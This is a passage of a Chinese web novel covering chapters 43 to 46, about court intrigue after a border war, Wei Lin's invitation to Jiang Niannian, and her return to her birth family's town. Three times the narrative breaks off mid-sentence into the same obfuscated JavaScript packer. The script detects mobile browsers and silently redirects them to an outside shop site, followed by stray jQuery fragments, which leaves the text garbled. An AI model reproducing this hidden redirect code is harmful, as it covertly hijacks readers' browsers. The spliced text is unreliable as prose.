这一天很快便过去,因为是初一,所以大家也都没有训练,而是各自做着自己的事,或是三三两两聚集在一起,天南地北地聊着。 不过这样放松的日子,也仅仅只有一天而已。军营毕竟不比京城或是他处,大家需要守住边境,不能长时间的懈怠。 翌日一大早,梁招国便派人来了西南郡,姜念念远远地看到,梁招国为首的人,正是魏临。 见到这张熟悉的面孔,姜念念倒是没有多的意外。而对方很显然也是注意到了姜念念,他先是一愣,随即便像是并不认识姜念念一般,只对她微微颔首致意,随后就跟随领着他们的士兵,进了沈南寂他们所在的营帐。 两人之间的互动,仅仅只是须臾的时间,甚至都没有引起周遭旁人的注意,大家也都以为,魏临只是随意朝着其它地方瞥了一眼。姜念念也并未在意,她仅仅只是稍顿了一下,随后就转身离开了。 她并未将这件事情放在心上,也不觉得魏临真的大胆到,会在这么多人的眼皮底下做些什么。之前慕辰朔对于魏临的行为睁一只眼闭一只眼,可不代表现在仍是如此。 谁也不知道他们到底聊了什么,只是等众人出来时,已经过去几个时辰了。他们所有人都脸色如常,也看不出谈判的最后结果如何,于是在外面不知道结果的人,也只能在心底暗暗猜测,却怎么也掩不住自己的好奇心,不断地用眼角余光向沈南寂他们的方向瞅。 魏临自然也察觉到了周围的视线,不过却是毫不在意,他扭头看向沈南寂,像是闲聊一样笑道:“五殿下什么时候回京呢?” “明日就会离开此地。”沈南寂倒也没在这件事情上有所隐瞒,反正不管魏临是出于什么样的理由打探,他也都会提前做好防备。 可当魏临听完沈南寂的回答后,却颇为惋惜地开口:“这样啊,那可真是太可惜了。” 43. 邀约 他这话像是要故意引起他人的注意,沈南寂便也如他所愿问道:“哪里可惜?” 魏临得逞似的笑了笑,“先前我与你们的那位姜姑娘偶然相识,也算是一见如故,之前还约好有时间的话,与我一同去梁招国逛逛。没想到之后战争突发,这个约定也就不了了之,现在好容易一切都尘埃落定,五殿下却这么急着回去。” 这话在不知情的人听来,便显得格外有些暧昧,一旁的段云澜和赵岳琦听了,也都露出了震惊的神色。他们先是看看沈南寂,又看看魏临,心底一时各种思绪齐齐涌现。他们虽然知道魏临很大程度上是添油加醋了,可也还是很好奇沈南寂会说些或是做些什么。 不过比起其余人的震惊,沈南寂的反应就更加平淡一点,他像是根本不在乎魏临说了什么,只是轻轻笑了笑,随即回道:“是吗,那确实可惜。” 可能是察觉到气氛的不对,跟在两人身后的其余众人,都悄悄逃离了现场,留这两人在原地单独较劲。 魏临察觉到其他人的离开,这才停下脚步,似笑非笑地瞥了一眼沈南寂,“五殿下现在年龄还小,难免意气用事,不过等到你年岁稍长一些后,你们陛下肯定会为你挑选适龄的王妃。到那时,她会允许你接近这样一个,毫无身份的女子吗?即便允许,你又能保证,姜姑娘可以一直安然无恙吗?” 魏临的话中,像是真的在为姜念念考虑一般,为沈南寂分析着利弊。 沈南寂微不可查地皱了一下眉,像是也不知是真的在担忧魏临所说的事,还是其他什么。魏临见状,满意地笑了笑,像是终于获胜了似的,正要开口继续说话,就被沈南寂毫不留情地打断。 “那我可以,让这一天永远不会到来。” 魏临闻言微怔,他猛地望向沈南寂的眼睛,原本漫不经心的神色,也在此刻变得严肃。他不动声色地打量着沈南寂,想要从他的眸子里瞧出什么来,可是那里什么也没有。 沈南寂并不理会魏临的震惊,在说完这句话之后,他像是毫无所觉地对魏临浅笑道:“时候也不早了,魏先生是不是该回去了。” 这无异于是在向魏临下着逐客令,可是魏临却并没有什么心情去计较这件事。如果说之前他只是有些欣赏沈南寂的手段的话,那么从沈南寂刚刚那仿佛只是随口提起的一句话看来,则更加忌惮这个人的存在。他突然发觉,即便他表面再装得人畜无害,也藏不住背地里的危险。 即便沈南寂只随口一提,但如果不是早有打算,又怎么可能会那么轻易地说出这样的话来。 魏临的心中情绪翻涌,面上却仍旧装得云淡风轻。身侧的手早已握紧成了拳头,从一开始的震惊之后,取而代之的是激动。如果明安国真的发生了什么事,那么梁招国说不定也能从中渔翁得利。 但他并没有表现出来,这些尚且不明了的事情,还不能成为他的底牌。 想到这里,魏临有些心情复杂地看了一眼沈南寂,想到这个人如今才只是不到十五的年纪,居然就已经做出了这么多的事情,不禁有些好奇,等他真正成长起来,又会抵达怎样的程度。不过那种结果,他也不一定想要见到就是了。 意识到沈南寂对自己一直没有动作的行为表现得有些不耐烦之后,魏临也没有继续呆在原地讨人嫌,“既然如此,那我就先回去了。我很期待不久之后的再见。” 沈南寂的眸光微动,“不会很久的。” 魏临闻言微微挑眉,但他非常懂分寸的没有追问,只是笑道:“是吗,那我很期待。” 话毕,魏临便离开了原地。不过等他消失在沈南寂的视线之后,却并没有如他所说的那样,直接带人返回梁招国,而是调转了个方向,寻找到了姜念念所在的位置。 先前西南军由慕辰朔管理时,魏临时常在军中行走,所以对这里的布置也了如指掌。 很快,魏临就找到了姜念念。 “姜姑娘。” 听到有人叫自己,姜念念下意识地扭头望去,随后就见到魏临正站在那里,含笑望着自己。见到是谁之后,姜念念忍不住轻皱了一下眉,没想明白魏临为什么会特地来找自己。 刚刚他们那边气氛中的剑拔弩张,她也看得一清二楚,虽然不知道具体发生了什么,不过很显然不会是什么好事。然而在这个时候,魏临却突然找上了自己。 在她看来,虽然两人之间有过数面之缘,不过这其中的算计也多少,两人也都是心知肚明的。如今一切早已尘埃落定,先前的伪装早就没必要了。对于自己利用魏临,打探到的关于梁招国的消息,姜念念也没有丝毫觉得愧疚,毕竟魏临这么久以来,从明安国捞到的好处,绝不止是一星半点。 但碍于眼下两国之间还处在一个较为尴尬的境地,姜念念也不好直接无视对方,于是只能转而平静地看向对方,问道:“魏公子有什么事吗?” 魏临像是并没有察觉到姜念念的冷淡,笑道:“听说姜姑娘快要回京了?” 姜念念愣了一下,随后反应过来,应该是刚刚他和沈南寂交谈时,沈南寂告诉他的。于是她也没有否认,只点了点头,但她还是有些没明白魏临问这个的目的。好在她的疑问很快就得到了解答,因为魏临已经再次开口。 “之前我和姑娘约定,说要带你去梁招国看看,却不想被旁事打搅,一时没能兑现诺言,现在那些事终于结束,可是姑娘却这么急着离开吗?”魏临微垂下眼睑,像是在思索着对策,又像是在祈求着对面之人的应允,“不若姑娘暂缓两天行程,等去过梁招国之后,再回京也不迟。或者我们再约个时间,等你下次来西南郡时,你派人传消息给我,我带你去梁招国。” 姜念念有些惊讶地望着魏临,实在是想不明白,对方为什么会如此执着这件事。 她有些犹豫地开口:“那个……魏公子,我有些话,不知道该不该说。” 魏临并未不满于姜念念为什么说起这看似无关的话题,微微颔首道:“请讲。” 姜念念也不客气,见他应允,于是便直接问道:“你我之前,更多的都是利用,说要去梁招国的话,到底带了多少的算计也都心知肚明。既然现在一切都已经结束了,为什么还要继续这个无用的问题呢?还是你觉得,只要我去了梁招国,一切就还有新的转机?那我只能告诉你,这恐怕是不行的。” 这一次,姜念念说完之后,空气中是长久的沉默。魏临难得没有立即接话,他像是在认真地思考着姜念念那些话的可能性,许久之后他才道:“我想,应该是我自己想让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701652|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘看看梁招国,与其他事情无关。眼下战局已定,我也并没有想要利用姑娘去做什么,不过让你有了这样的误会,的确是我之前的过错,我向姑娘道歉。” 说罢,魏临还真的微微欠身,向姜念念郑重其事地表达了自己的歉意。 姜念念有些震惊地看着他,实在不理解他这么做到底是为了什么,因为看他这个样子,好像也确实没有说谎。但即便如此,姜念念也不可能轻易松口,平白无故答应他的邀约。就算他没想害自己,也肯定还有别的目的,毕竟所有的行为,总要有一个理由。 况且她也不可能单纯因为这事,就让所有人都等着她,她今后也很大概率不会再来西南郡了。 也许是姜念念脸上的抗拒之意太过明显,魏临在顿了片刻之后,也没为难姜念念,“如果姜姑娘还是不愿意的话,那我也不勉强了。不过若是哪日姑娘改变了主意,亦或是突然对梁招国有了兴趣,也可以再来找我。” 姜念念不欲与人多做纠缠,如果自己一再拒绝的话,很可能会起到反作用。想着这种改变想法的事,反正也是自己决定的,答应了也改变不了什么。于是她便点了点头,算是应允了魏临的这个请求。 而在得到了姜念念肯定的回答之后,魏临也总算是没有继续留下,他毕竟不是明安国人,也不可能一直呆在西南郡。 “那我就静候佳音了。”魏临笑道,“时候也不早了,我就先告辞了,期待我们的下次再见。” 说罢,魏临便折身离开原地,原路返回到自己的队伍中,带着自己的一众随从,离开了西南郡。 对于魏临的突然出现又离开,姜念念也并没有太放在心上,等人离开之后,便也转身继续去做自己的事了。明日他们一行人就要离开军营,她还有很多事情要善后。 而另一边已经坐上回程马车的魏临,却并不似姜念念那样,转头就将刚刚的事情忘了,他仍在想着刚刚发生的事情。 他对姜念念说的那些话并非心血来潮,而是考虑了很久。诚如姜念念所说的那样,他们一开始的见面的确带着算计,只不过他最先也没想到,姜念念也在利用自己。只不过后来发现的时候,他也没有生气,只是意外,然后便是好奇,他想知道对方到底能做到哪种程度。 在战争即将来临之前,他也试着邀请过姜念念,因为那时他不觉得梁招国会输,但他已经看到姜念念死在那场战争中。 她不应该是这样的结局。 所以即便知道这种做法很令人费解,他也还是向姜念念表达了自己的想法,他想让姜念念跟他去到梁招国。但是姜念念拒绝了。 被拒绝的第一时间,魏临甚至想过,干脆直接用点别的手段,直接将人带回去,可他最终还是放弃了。可是时过境迁,他也还是没能得偿所愿。事到如今,就连他自己也不知道,自己这么做到底是心有不甘,还是其他什么了。 一旁跟着魏临一同上了马车的人见魏临从上了马车之后,就一直心不在焉的,有些担心地问道:“怎么了先生,是结果并不如意吗?” “不,结果很好。”魏临回他。 “那您在忧心什么?”那人又问。 魏临眼睛看着窗外,沉默许久,然后答:“我什么也没有想。” 44. 暗子 次日一早,沈南寂交代完最后的注意事项后,众人就离开了军营。只是相较于来时,他们返程时所带的人,几乎少去了大半。他们来时的一群人中,有一部分已经将生命献给了这片土地,另一部分则是继续留在这里,守护着边关的安危。 而在这些人里,赵岳琦便是其中之一。 他是沈南寂指名留下来的,代替之前慕辰朔的位置,管理着其余众士兵的行动。 临走时,赵岳琦也跟着将沈南寂等人送到了林边。比起那时的惊心动魄,如今的他们更加不舍于即将到来的离别。 虽然知道之后应当不会有什么事,可赵岳琦还是忍不住担忧地道:“殿下路上一切小心。” “知道了。”沈南寂点头,随即又叮嘱道,“这里的事,我都已经告诉你了,若是出了什么事,可以传信给我。” “殿下放心,我会处理好的。”赵岳琦向沈南寂保证道,顿了顿,他又笑道,“之后也不知道什么时候能再见到殿下,那我就预祝殿下一切顺利。” 沈南寂闻言倒是并没有太过惊讶,周围也都是知根知底的人,所以他也没有刻意隐藏什么。他只轻笑了一声,随后回道:“那就,借你吉言。” 简单道过别后,两路人马便分道扬镳,直到各自再看不到身后的人群。 沈南寂一行人在林中行了一日,天色昏黄时才到了西南郡的城中,程兆续已经提前接到消息,知道他们会在傍晚抵达城内,所以他一早便在城门口等着他们。 远远见到沈南寂他们后,程兆续顿时便激动了起来,连忙整理衣装,背脊挺得笔直,就等着众人来到近前。 马刚站住,程兆续的声音便响起,“殿下,您终于回来了,那边一切顺利吗?” 沈南寂下了马,正扶着姜念念下来,就听到程兆续的问话。他手顿了一顿,也没看程兆续,只是随口回道:“顺不顺利,郡守大人难道不知道吗?” 程兆续一听这话,顿时就知道自己之前打探到的消息是准确的,他面上顿时喜笑颜开,就连笑容也真诚了不少,“西南郡能有今日,还得是仰仗殿下的帮助,今后若是有什么需要我帮忙的地方,殿下尽管开口!” “不用了,我很快就要回京。”沈南寂说完,又想到了什么,“不过军中还有我的下属,今后若是他有什么事,你能帮衬一二,也是好的。” “这是自然。殿下吩咐,我一定会牢记的。”程兆续连忙应下。 其实程兆续一开始也不太看好沈南寂,只不过他想着左右西南郡的情况也眼睛不能再差了,还不如放手一搏。然而没想到最终,沈南寂不仅解决了慕家的麻烦,甚至还打了场胜仗,顺带解决了梁招国的麻烦。 想到这,程兆续的心情便更好了,他突然觉得自己的运气还是不错的,至少老天爷还没彻底放弃他。 这边沈南寂见程兆续突然噤了声,有些疑惑地扭头看了他一眼,然后就见程兆续正神游天外,脸上也挂着不容人忽视的傻笑。 “……” “这些日子,西南郡的城中有发生过什么事吗?” 程兆续被沈南寂说得一愣,随即问道:“大人说的是……” “有遇到什么危险吗,比如突然在人少的地方,突然出现一个拿刀的人砍向你。”沈南寂给程兆续解释了一下,随后又简单举了个例子。 听到沈南寂这么问,程兆续顿时来了精神,他伸手想要拉沈南寂,和他好好说道说道,结果手刚伸出来,就被沈南寂的眼神给吓回去了。不过他也不在意,继续说道:“殿下您怎么知道的,这些天虽然我没正面遇到什么危险,可是经常在回家的路上,或者宅子的后院看到尸体,那些人还都穿着那种杀手的衣服,蒙着个脸……” 沈南寂听着程兆续叨叨不停的叙述,不禁有些无奈扶额。尸体在路上,多半是他派的那些人没来得及处理,或者他们压根没有想到这茬,所以才会被程兆续撞见。他本来可以直接和留下的那些人询问,不过想着反正对方就在自己面前,听听也无妨,但是现在他莫名有些后悔了。 “城里有人受伤吗?”沈南寂打断了程兆续的喋喋不休,直截了当地问道。 “殿下放心,所有人都没事。”程兆续答道。 沈南寂点点头,没再说话。 见他这副沉思的模样,程兆续迟疑了一下,随即又道:“今天天色已晚,夜间赶路也不安全,而且这一路也辛苦了,殿下不如就先在我府上歇一晚,等明日再做打算?” 沈南寂想了想,也没再拒绝。他回头瞥了一眼身后的众人,还没说话,就听程兆续又道:“那这些将士们,也一起来吧。” “那就有劳了。”沈南寂应了一声。 “没事没事,大家为西南郡解决了大麻烦,我也不过是想尽点绵薄之力罢了。”程兆续笑着摆摆手,并没有想要邀功的意思。 一行人再次跟着程兆续来到郡守府,姜念念发现这里倒是并没有发生太大变化,只有院中的几株花树,似乎比之前更高了些。 而他们这次,同样也见到了那位郡守夫人,那是一个温婉随和的女子,举手投足间都不疾不徐,仅仅只是听她说了会话,便也能叫人心情放松。夫妻二人一起招待了姜念念一行人,又给他们收拾了客房让他们住下,一切倒也算得上周到。 等到沈南寂回了他们给自己安排的屋子之后,这才召来了之前留在西南郡的那些士兵。当时虽说是暗中安排人留下,可也难保不会被人瞧见,所以沈南寂当时特地嘱咐让他们单独行动,免得一人被发现连累了所有人。 沈南寂将人集聚在自己的屋中,原本还算宽敞的房间,顿时变得有些拥挤。他先是问了些无关紧要的小问题,随即才切入了正题,问起了自己想要知道的问题,“你们在西南郡的这些天里,遇到过什么事吗?” 比起问程兆续,眼前的这些人显而易见是更懂沈南寂的意思,这边沈南寂话音刚落,就已经有人接过话茬道:“郡守大人这边,时常会有暗杀的刺客,不过也都被我们解决了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707429|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想起程兆续和自己说,发现刺客的尸体时那副神情,沈南寂不禁有些无奈地道:“解决之后,那些尸体呢?” “啊?”那人愣了一下,有些没明白沈南寂的意思。 “将尸体留在路边,难道就没有想过,旁人见了会害怕吗?”沈南寂道,他现在也算是弄清楚了,这些人不是没时间处理尸体,而是真的没有在意这件事。 听到沈南寂的这句话,众人齐刷刷地都愣住了,显然是没有想到这茬。 沈南寂现在也不可能因为这件事惩罚他们,况且事情也都已经过去了,“行了,下次注意就行。你们先来说说,那些刺客的身份,都调查清楚了吗?” “有一部分是慕家派来的,可能是因为之前慕家发现郡守大人告密,所以想要来杀人灭口。等到慕家在西南郡的势力被铲除之后,这批人就再没出现过。不过除了慕家的人之外,还有一批人,时不时就会出现,防不胜防,我们并没有查清他们的身份。” 听了他们的叙述,沈南寂心中对那些并不知道身份的刺客,也已经有了猜测,“他的任务没有完成,自然是不可能再被留下了。”当然,就算程兆续真的完成了那个人的任务,也不见得程兆续就可以继续活着,毕竟知道了那么多的秘密,被杀人灭口也不是不能理解。 其余人听见沈南寂这么说,顿时面面相觑,过了片刻之后,终于有一个人没有忍住自己的好奇心,追问道:“殿下的意思是,这些人都是……那位派来的?” 沈南寂闻言,瞥了他一眼,并没有出声斥责,只是平静地说了一句:“慎言。” 那人立马意会,表示自己不会多说。 “明日我会返回京城,不过你们还需要留在这里,与我保持联络。不过你们并不需要前往军营,继续留在西南郡的城内就好,负责程兆续的安全。至于军营那边,我也已经安排妥当,你们若是有什么急事,无法立即联系我的,也可以寻求赵岳琦的帮助。” 那些人听到沈南寂的安排,并没有什么异议,立即就答应了下来。 “不过殿下,您这次回京,只带这么些人的话,真的能行吗?需不需要我们再替您寻些人手?”其中一人有些担忧地问道。 “不必了。”沈南寂拒绝道,“他们都是普通人,不该掺和进这件事中,而且如果他真的想要杀我,他们也只会因我而枉死他乡,并不能改变得了什么。况且,他现在已经错过了最佳时机,已经不能再动我了。” 众人并不明白沈南寂为什么会如此笃定,不过他既然这么说了,大家自然也就稍稍放心了些。之后,沈南寂又和他们交代了一些具体的事情,这才让他们离开,继续自己的任务。 等到屋子里再次变得空空荡荡之后,沈南寂这才冷下了脸色。其实知道沈明承做了什么,沈南寂也并不觉得意外,不过现在唯一值得庆幸的是,他保住了那些不该受此事牵连的人。 也许沈明承希望他就此远离京城,永远地留在这个边陲之地,但他是不会让他得逞的。 45. 警告 寒夜渐消,黎明初降,暂歇的人也即将远行。 程兆续给沈南寂安排了一辆马车,一切好像与他们来时并无二致,可是冥冥之中,很多事情又已经不一样了。 临行之前,程兆续看到了被士兵押着的慕辰朔,不禁多看了两眼,总觉得慕辰朔的状况有些奇怪。 沈南寂顺着他的视线望过去,很快就知道他在看什么,也并没有瞒着他,“他已经对任何人造成危险了。” 程兆续听到沈南寂的话,又看了眼慕辰朔的样子,突然就明白过来了什么,心头顿时一惊,不过面上却仍旧表现得毫无破绽,“那就好,那就好。” 沈南寂的唇角微勾,不做过多解释,只是一掀衣袍,登上了马车,随即对众人说道:“走了。” 程兆续在他身后行礼,目送着一行人的离去。 当马车行驶在路上的,姜念念很明显地感觉到,他们的速度并不快,如果不是知道事情的来龙去脉,姜念念真的会以为,他们这只是在郊游。而且重新将代步工具换成马车,原本就有些令人怀疑。明明连春节都没有过完,就直接出发返京,结果真到了路上,却又不急了。 不过即便有些疑惑,姜念念也没有直接询问,反正既然是沈南寂的意思,总归是不会害他们的。 不知为何,姜念念早就已经开始相信,沈南寂是不会对他们下手了。 但很显然,姜念念不想多此一举,有人却不这样想。 他们走了大概不足一个时辰,就听到外面一阵喧闹,像是士兵们在吵着些什么,其中还夹杂着一个人的哀嚎声。 段云澜听到动静,直接拉开了车内的帘子,向外探出头去问道:“怎么了,吵吵嚷嚷的。” 那些人见段云澜出来,连忙上前汇报情况,“殿下,小将军,是慕辰朔。” 听到这个名字,沈南寂也朝着外面看过来,“他怎么了?” “他……突然不知道受了什么刺激,一直在那大喊大叫。”士兵有些迟疑地答道。 段云澜听完这话,立马扭头看向沈南寂,正想问他该怎么办,就见沈南寂突然轻笑了一声。他时常笑,可是大多数时,都不带有任何情感,或者说根本就是淡漠。此刻的他也同样,可是却莫名觉得他的心底有些不悦。 “看来,他疯得也不是很彻底。”沈南寂这样说着,随即他微微起身,似乎是要下马车。 “你去哪?”段云澜下意识地问道。 “去看看这位,前任西南军首领。”沈南寂说完,就走了下去,和那名士兵一同朝着慕辰朔所在的方向走去。 马车内的姜念念和段云澜两个人面面相觑,一时不知该说些什么。 “我们要跟下去吗?”姜念念有些不确定地问道。 段云澜也有些不确定,他探头出去,看了一眼沈南寂离去的背影,最终还是摇了摇头,“还是算了吧,我感觉他应该是不像我们掺和这事。” 姜念念听见这话,也觉得有道理,于是便和段云澜一同等在了车内。 而另一边的沈南寂,则是目标明确地直冲着慕辰朔而去。屏退了周围的一众人等,沈南寂独自站在了押着慕辰朔的地方。对于面前之人的无能咆哮,沈南寂丝毫不为所动,他抱着手臂静静地看着眼前的人,似笑非笑。 慕辰朔似乎是之前被那些士兵们的呵斥声吓到了,此刻口中还在咿咿呀呀叫唤个不停,同时手还不断拍打着关押他的牢笼。 沈南寂饶有兴趣地看了一会,随后便觉得有些无趣,他撇了撇嘴,终于放弃了自己的观望行为。他抬起手腕,随意地敲了两下笼子,等到吸引了对方的注意后,他似是讥讽般随意开口:“真没用啊……” 他也不管对方是否能听懂他话中的意思,但是意外地,在听到沈南寂的这句话之后,里面的人很明显更加激动了,叫嚣着似乎要冲出牢笼,再将眼前的人撕碎。只是他并非力大无穷,可以轻易将这铁质的笼子损毁,也无法拿到钥匙,打开那条缠绕数圈的锁链。 所以他还是只能被困笼中。 沈南寂见状,当即就嘲弄地哼笑了一声,像是在说“我说得有错吗?” 但是嘲讽的话到此为止,沈南寂没再在这个问题上多停留,他问:“你真的疯了?莫非是觉得,回到京城就可以高枕无忧了?” 没人回答他,他也不在意,反而仍旧自顾自地说着:“现在是认为我在拖延时间,不让你回京,所以才会用这样的方式,来引起我的注意是吗?”沈南寂顿了顿,“不过你又能改变得了什么呢?你现在还是在我的手上。” “我是不会让你这么轻易地,就让你从我手中逃脱。谁都不行。”沈南寂看着慕辰朔,从那双涣散的瞳孔里,他看到了自己的影子,“毕竟,我们之间的仇恨,可远不止这些啊……” 说完,沈南寂回头向着不远处看了一眼,马车上姜念念和段云澜都探头探脑地观察着这边,似乎是在关心着这边的情形。他又重新转回头,然后对慕辰朔说道:“安静点,否则我虽然不会杀了你,但是我仍有许多方法,让你后悔忤逆我的要求。” 语毕,沈南寂终于也不再管慕辰朔的反应,径自转身往回走去。 这似乎就是一个小插曲,等到那些士兵接到沈南寂的命令,重新回来时,发现慕辰朔已经安静了下来。众人见状,心中也难免有些疑惑,莫非慕辰朔的疯病真的是装的,就只是为了让他们放松警惕? 不过这也就是他们的猜测,既然沈南寂没说什么,他们自然也不敢多问。于是一行人带着自己脑内的猜想,又重新缓慢地向前行去。 回到马车内,沈南寂便对上了两双毫不加以掩饰的打量,他的脚步微顿,随即才淡定地坐了回去。 “有什么想问的,就问吧。”他道。 听见沈南寂这么说,段云澜顿时来了精神,他坐直了身体,向沈南寂的方向靠近了些许,“你刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721639|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚跟慕辰朔说什么了,他怎么就突然安静下来了?” “也没什么,就是警告了他两句而已。”沈南寂随意地道。 “真的?”段云澜明显有些不信。 沈南寂瞥他一眼,没说话,不过段云澜却读懂了他的意思:既然不信,还问什么? 段云澜只能信了。 转念想到慕辰朔现在的情况,他又问道:“他真疯了?” “……那谁知道呢。”沈南寂懒懒地答。 “这你不知道?”段云澜再次怀疑。 沈南寂嗤笑一声,很明显是不想和他再继续废话,“我又不是他,他要是真想装疯,我还能逼他承认吗。你一定要问这种……问题吗?” 段云澜总觉得,沈南寂是还有个字没说,不过他决不会多问,权当自己根本没听见那句话。不过转念一想,好像也确实是这样,就算那天是沈南寂见过慕辰朔后,对方才出现了这样的状况,可要说他究竟是不是为了自保而装疯卖傻,这谁也说不准。 也许是沈南寂的警告起了作用,也可能是其他什么原因,接下来的几天里,慕辰朔终于终于是没再一直吵闹,省去了不少的麻烦。 这样一路来到了青萍镇,姜念念也总算是见到了原身的“家人”。 为了不惹人注意,姜念念提出在小镇外下了马车,然后步行回家。沈南寂欣然应允了她的请求,随即表示自己还有些事需要处理,所以让姜念念暂时先一个人回去。 姜念念自然清楚,沈南寂这是希望自己可以那些人单独说些话,他这个外人不好在场,所以才找了这样的借口。虽然知道这一趟并不会那么轻松,但姜念念也还是选择了一个人前往。 有些事,确实是需要一个结果的。 她在无人注意到的地方下了马车,然后走进了小镇,置身于这个陌生的地方,姜念念莫名从心底的深处滋生了一股难言的情绪,让她的心情也一时有些低落和压抑。她有些奇怪,怀疑是不是重回故地,身为原身的记忆在此刻作了祟。 她没有细想,深吸了一口气后,强行压下了心底的那种异样感觉,接着便继续朝着小镇的深处走。 姜念念并不知道原身家的具体位置,当然这并不是什么大事,毕竟她离开时尚且年幼,就算忘了也不打紧。这样想着,姜念念便将目光放在了小镇的街道上,那些来来往往的行人身上。 他们原本是在聊着天,见到姜念念这个陌生人出现,也就自然而然地将注意力转到了她的身上。他们也同样在观察着她,企图辨认出来人的身份。 于是姜念念走近了他们,行礼道:“打扰了,诸位可知道,姜家的屋子在何处?” “姑娘是要找姜家?”接话的,是一个看起来有四十来岁的妇人,她生得是一副和善的面孔,“这青萍镇只有一位姓姜的人家,不知道是否是姑娘要找的人?” 姜念念并不犹疑,当即就点头应:“是。” 46. 往事 没料到姜念念会应得这么干脆,那妇人先是愣了一下,随即想到可能对方知道姜家,只不过不知道具体的位置。于是她抬手一指,“喏,沿着这个方向,走到头就是他家了。” 得到自己想要的答案,姜念念也不多留,向妇人道了谢后,就转身朝着她所指的方向走去。 等到人走后,那原本有些安静的人群,这才想起了说话声。而这次他们凑在一起所谈论的,却是刚刚经过他们的这位年轻女子。 “刚刚那姑娘,看起来像是京城里来的姑娘。”其中一人率先说道。 另一人听了,当即就不服气地反问道:“你怎么就知道是京城里来的?” “你看她举止动作,一看就不像我们这小镇上的,就算不是高门大户里的千金小姐,身份地位也肯定不是我们这些人能够接触到的。”那人认真分析道。 之前和姜念念搭过话的妇人,此时也接话道:“你猜得也有些道理,而且她那说话的姿态,确实不像是普通人家。不过,她找姜家做什么?” 一提起这事,众人也都纷纷想起,刚刚那姑娘是来找姜家人的,一时之间,所有人都有些不解,没理清这其中的关系。 因为实在猜不出结果,有人不禁嘀咕道:“也是啊,这姜家都那样了,居然还会认识小镇外的人……” “姜家,怎么了?” 就在此时,一道声音打断了他们的对话。众人心中一惊,抬头一望,瞧见他们身侧的地方,不知何时竟然又站了两个人,他们居然丝毫没有察觉。不过他们惊过之后,也没有怀疑什么,只以为是自己说话出了神,所以没有察觉到身旁有人接近。 他们打量着这两个人,是两位年轻的少年,一个看起来与刚刚那姑娘差不多大,另一个则要更年幼一些,不过观他神情,已经能让人自然地忽视掉他面容的青涩。而无一例外的,是两人都生得俊逸脱俗。 沈南寂由着他们打量,等觉得他们已经看得差不多了,这才轻咳一声,算是提醒。 而那些人也立马被这声唤回了神,他们看了沈南寂一眼,猜测刚刚问话的应该也是他,于是便有人接话道:“这位小公子,是想打听姜家的事?” 沈南寂不置可否地微微颔首,算是作为应答。 “这事可就说来话长了,来来来,你们先坐下,我好好给你们说道说道。”那人热情地拉过一张空着的板凳,示意沈南寂和段云澜两人坐。 沈南寂看着那板凳稍作迟疑,随即就面不改色地坐了下去,而段云澜则是也紧随其后,坐在了沈南寂的身侧。 等到他们都坐下后,一群人也并不急着说姜家,而是先打听起了沈南寂他们来,“两位小公子,是和刚刚那位姑娘同行的?” 这不怪他们这样,实在是太巧了,他们一前一后进了这久无外人踏足的青萍镇,而且还都衣着华贵,又都是冲着姜家来的,很难不让人怀疑。 沈南寂听他们询问,也并未做隐瞒,反正之后他们离开这里,定然还是要同行的,肯定会被看热闹的人瞧见,所以干脆大方承认,“是的。” “那你们都是京城来的?”又有人接着追问道,问完之后又有些不好意思,像是怕沈南寂等人误会,“那个,我也就是好奇。我们出生在青萍镇,也很少会出镇子。就算离开了镇子,也不会走得太远,京城那个地方更是从来都没有去过。” 段云澜感觉到他的窘迫,及时接过了话茬,应声道:“对,我们都是京城来的。” “还真是京城来的啊!” 那些人得到想要的答案之后,神色都有些激动,不过想到他们来这里肯定是有其他事情,所以也就没有继续拉着人追问京城的事。 “哦对了,你们是想问姜家的事对吧?” 沈南寂点头,“你们刚刚说的,姜家怎么了?” 那人“嗐”了一声,表情有些唏嘘,似乎也是有些不满这姜家的做派,“那姜家现在几乎快要绝户了,要我说啊,这都是报应。” 沈南寂微微挑眉,“能详细说说吗?” “这真要说的话,可就要说到十几年前的事了。”那人侃侃而谈道,“那个时候他们家虽然穷,但也还算是能勉强过活,老太太生了几个儿子,不过夭折了几个,最后就剩下结了亲的大儿子和痴傻没人要的小儿子。可是大儿子家生的老大是个女娃,所以动辄打骂,后来生了男娃后,这个女娃的日子就愈发不好了。也就在那女娃几岁的时候,他们就直接和一个外地人商议着,用十几两银子把那老大给卖了。那女娃那么小,谁也不知道她出去之后是死是活,不过到底不是自家孩子,大家感慨了一阵也就没再想了。” 